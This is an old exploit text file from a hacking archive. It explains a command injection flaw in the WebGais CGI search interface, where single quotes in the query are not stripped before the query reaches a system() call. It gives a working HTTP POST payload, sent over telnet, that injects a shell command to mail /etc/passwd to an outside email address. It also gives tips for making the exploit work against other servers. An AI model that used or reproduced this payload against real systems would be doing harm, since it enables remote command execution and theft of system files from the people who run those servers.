home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / webgais.txt < prev    next >
Text File  |  1998-07-17  |  2KB  |  38 lines

  1.  
  2. WebGais is an interface to the GAIS search tool. It installs a few
  3. programs in /cgi-bin. The main utility is called "webgais" and does the
  4. actual interfacing with the search tool.
  5.  
  6. It reads the query from a user form, and then runs the GAIS search engine
  7. for that query. The author tried to protect the program by
  8. using single quotes around the query when he passed it to a "system"
  9. command. But he forgot one VERY important thing: to strip single quotes
  10. from the query (this was done in Glimpse).
  11. So, if we send a query like:
  12. query=';mail+foo@somewhere.net</etc/passwd;echo'&.....
  13. we will trick the "protection" system.
  14.  
  15. The only problem here is that you have to provide a certain combination of
  16. input parameters, to reach the vulnerable line in the script. It took me
  17. about half an hour to get those parameters right.
  18.  
  19. I also had to comment some code from the script to bypass some error
  20. messages, because I do not have the GAIS search tool installed, I only
  21. have the WEBGais interface. Of course, you won't have to modify the script
  22. at all. It should work just fine as it is.
  23. So here's how I exploited this:
  24.  
  25. telnet target.machine.com 80
  26. POST /cgi-bin/webgais HTTP/1.0
  27. Content-length: 85 (replace this with the actual length of the "exploit"
  28. line)
  29.  
  30. query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph
  31.  
  32. ... and it worked. But to make it work for your system too, you'll have to
  33. add other parameters, like idx_dir and data_type who are required by the
  34. script in its original version. Just make a normal query to your WebGais
  35. server and see what all the parameters are. But remember to use "output" and
  36. "domain" as specified in my exploit. Otherwise you will end up in some
  37. other place of the script and nothing will happen.
  38.